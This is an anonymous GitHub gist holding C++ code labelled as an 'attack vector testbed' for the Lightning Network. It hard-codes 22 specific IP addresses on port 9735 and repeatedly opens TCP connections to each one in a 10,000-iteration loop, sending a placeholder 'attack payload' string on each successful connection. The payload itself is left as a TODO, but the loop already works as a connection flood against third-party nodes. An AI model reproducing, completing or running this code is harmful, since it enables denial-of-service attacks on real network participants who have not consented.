Created
March 19, 2018 03:47
-
-
Save anonymous/46f6513625579c5a920fe04b32103a03 to your computer and use it in GitHub Desktop.
LN_ATTACK_VECTOR_TESTBED_01
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
void tcp_manager::open_tcp_transports() | |
{ | |
std::map<std::string, std::uint16_t> tcp_endpoints; | |
tcp_endpoints["85.214.73.34"] = 9735; | |
tcp_endpoints["142.4.213.42"] = 9735; | |
tcp_endpoints["70.29.131.217"] = 9735; | |
tcp_endpoints["88.24.37.5"] = 9735; | |
tcp_endpoints["178.33.34.137"] = 9735; | |
tcp_endpoints["93.104.208.37"] = 9735; | |
tcp_endpoints["35.188.113.18"] = 9735; | |
tcp_endpoints["185.3.233.32"] = 9735; | |
tcp_endpoints["35.231.80.125"] = 9735; | |
tcp_endpoints["35.231.10.135"] = 9735; | |
tcp_endpoints["163.172.162.18"] = 9735; | |
tcp_endpoints["209.239.115.243"] = 9735; | |
tcp_endpoints["52.232.3.131"] = 9735; | |
tcp_endpoints["213.250.21.112"] = 9735; | |
tcp_endpoints["52.166.90.122"] = 9735; | |
tcp_endpoints["35.227.23.207"] = 9735; | |
tcp_endpoints["138.201.19.235"] = 9735; | |
tcp_endpoints["35.185.66.246"] = 9735; | |
tcp_endpoints["104.196.28.95"] = 9735; | |
tcp_endpoints["148.251.82.174"] = 9735; | |
tcp_endpoints["35.192.161.155"] = 9735; | |
tcp_endpoints["179.219.68.33"] = 9735; | |
log_info( | |
"TCP manager is opening " << tcp_endpoints.size() << | |
" TCP transports." | |
); | |
for (auto i = 0; i < 10000; i++) | |
{ | |
for (auto & i : tcp_endpoints) | |
{ | |
log_info( | |
"Preparing TCP connection to " << i.first << ":" << i.second << | |
" for attack vector TCPHO." | |
); | |
auto t = std::make_shared<tcp_transport> (io_service_); | |
if (t != nullptr) | |
{ | |
/** | |
* Set the transport on read handler. | |
*/ | |
t->set_on_read( | |
[this](std::shared_ptr<tcp_transport> t, | |
const char * buf, const std::size_t & len) | |
{ | |
// :TODO: Respond to message with LN attack vector 02. | |
printf("TCP read %zu bytes.\n", len); | |
// on_read(buf, len); | |
}); | |
asio::ip::tcp::endpoint ep( | |
asio::ip::address::from_string(i.first.c_str()), i.second | |
); | |
/** | |
* Start the transport connecting to the endpoint. | |
*/ | |
t->start( | |
ep.address().to_string(), ep.port(), [this, ep]( | |
std::error_code ec, | |
std::shared_ptr<tcp_transport> t) | |
{ | |
if (ec) | |
{ | |
log_info( | |
"TCP connection to " << ep << " failed, " | |
"message = " << ec.message() << "." | |
); | |
t->stop(); | |
} | |
else | |
{ | |
log_info( | |
"TCP connection to " << ep << " success, sending " | |
"attack payload." | |
); | |
/** | |
* :TODO: Send attack payload. | |
*/ | |
t->set_read_timeout(24); | |
t->set_write_timeout(24); | |
t->write( | |
"LN_ATTACK_VECTOR_01", strlen("LN_ATTACK_VECTOR_01") | |
); | |
} | |
}); | |
} | |
} | |
std::this_thread::sleep_for(std::chrono::milliseconds(250)); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment